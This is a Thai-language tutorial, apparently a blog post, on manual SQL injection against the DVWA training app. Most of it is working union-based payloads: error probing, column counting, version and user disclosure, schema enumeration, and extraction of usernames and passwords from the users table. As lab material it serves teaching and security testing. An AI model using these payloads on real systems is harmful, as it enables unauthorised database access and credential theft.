How to exploit the vulnerability of SQL injection (Manual)

บทนำ (Overview)

บทความนี้นำเสนอการตรวจสอบช่องโหว่ “Sql injection” และพยายามเข้าถึงตารางฐานข้อมูลของ “Web application” เพื่อดึงข้อมูล “Login” ออกมา โดยวิธีการไม่ต้องใช้เครื่องมือใด ๆ ช่วย “Damn Vulnerable Web App (DVWA)”

ขั้นตอน (Steps)

  1. เลือกเมนู “SQl injection” dvwa-sqli-l-01
  2. ทดลองพิมพ์เลข 1 ในช่อง แล้วกดปุ่ม “Submit” จะพบว่ามีข้อมูล ชื่อและนามสกุลของ “UserID” หมายเลข 1 ขึ้นมา ทดลองกรอก 2 แล้วตรวจสอบผลdvwa-sqli-l-02
  3. จากนั้นเรามาทดสอบกันว่ามีสัญญาณอะไรหรือไม่ที่จะบ่งบอกให้ทราบว่า ฐานข้อมูลอาจมีความผิดพลาดถ้าเรากรอกอักขระพิเศษเข้าไป ทดลองกรอก Single qoute ‘  dvwa-sqli-l-03
  4. เราพบ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1 แสดงว่าเป็นไปได้ที่จะมีช่องโหว่ SQL injection จากนั้นทดลองใช้คำสั่ง ‘ or ‘1’ = ‘1 แล้วสังเกตุผล dvwa-sqli-l-04
  5. จากผลข้างต้นพบว่าเราสามารถ แสดงรายการของ “UserID” ทั้งหมดได้ ที่นี้เราเริ่มแน่ใจแล้วว่ามีช่องโหว่ SQL injection ลองมาหากันว่าในการแสดงข้อมูลบนหน้าเว็บ จะต้องใช้ข้อมูลจากกี่ Field ในฐานข้อมูล โดยใช้คำสั่ง “order by 1” โดยหมายเลขดังกล่าวจะถูกไล่ ไปเรื่อย ๆ จนพบว่าฐานข้อมูล “Error”
    รอบที่ 1
    ' order by 1#
    
    รอบที่ 2
    ' order by 2#
    
    รอบที่ 3
    ' order by 3#
    //# หมายถึง Comment จะไม่สนคำสั่ง SQL หลังจากนี้
    

    dvwa-sqli-l-05

    dvwa-sqli-l-06

  6. จากการทดลองพบว่า เมื่อถึงรอบที่ 3 มีข้อความ “Error” จากฐานข้อมูล สามาเหตุเพราะว่าไม่สามารถเรียงลำดับข้อมูล (order) ใน Field ที่ 3 ได้ เพราะฉะนั้นในการ “Query” ข้อมูลใช้เพียงแค่ 2 “Fields” เท่านั้น (select field1 field2) เราจึงทดลองต่อไปว่าถ้าเราดึงข้อมูลระบบ และทำการ “join records” ทั้งสอง “fields” ที่พบจะเป็นอย่างไร โดยใช้คำสั่งตามข้างล่าง
    ' union select null, version()#
    //union     หมายถึง การรวม Record จากคำสั่งที่สอง
    //null      หมายถึงค่าวางแต่มีการใช้งาน Field ที่ 1
    //version() หมายถึงคำสั่งเรียกดู version ของ mysql
    //#         หมายถึง Comment จะไม่สนคำสั่ง SQL หลังจากนี้
    

    dvwa-sqli-l-07

  7. จากการทดลองพบว่า “Version” ของ “Mysql” ไปโผล่ที่ข้อมูลของ “Surname” ที่นี้ลองมากกว่าเดิมเพื่อดึงข้อมูล user ของ database ออกมาไว้ที่ช่อง “Surname” เหมือนเดิม โดยใช้คำสั่งตามข้างล่าง
    ' union select null, user()#
    

    dvwa-sqli-l-08

  8. เราจะได้ “user” ของฐานข้อมูลที่ใช้งานโดย “Web application” ต่อมาเราจะตรวจสอบชื่อ “database” โดยใช้คำสั่งคือ
    ' union select null, database()#
    

    dvwa-sqli-l-09

  9. เราสามารถเข้าถึง ตารางต่างในฐานข้อมูลได้โดยใช้คำสั่ง
    ' union select null, table_name from information_schema.tables #
    

    dvwa-sqli-l-10

  10. เนื่องจากเป็นไปได้ว่าใน “Database Server” อาจมีตารางมากมาย เราอาจลอง “Query” โดยเดาสุ่มชื่อตาราง เช่น table, login…
    ' union select null, table_name from information_schema.tables where table_name like 'user%'#
    //% หมายถึงการค้นหาอักขระอะไรก็ได้ตามหลังคำว่า user
    

    dvwa-sqli-l-11

  11. เราพบตาราง “User” ถึง 3 ตาราง ทดลอง “Query” ตาราง “Users” ก่อน แต่ปัญหาคือเราไม่ทราบชื่อ Fields ดังนั้นเราจะต้องค้นหาชื่อ Filed ที่ใช้ในตาราง “Users” เสียก่อน
    ' union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
    //concat หมายถึงคำสั่งรวมอักขระ (String) โดยสามารถรวมได้ หลาย Sting โดยใช้ , คั่น
    //0x0a คำสั่งขึ้นบันทัดใหม่
    

    dvwa-sqli-l-12

  12. เราพบ “Field” ที่น่าสนใจคือ “user” และ “password” มันมีความเป็นไปได้ว่าจะเป็น “username” และ “password” ของ “Web application” ทดลองดึงขอมูลมาตรวจสอบ โดยใช้คำสั่ง
    ' union select null, concat(user,0x0a,password) from users #
    

    dvwa-sqli-l-13

 

ใส่ความเห็น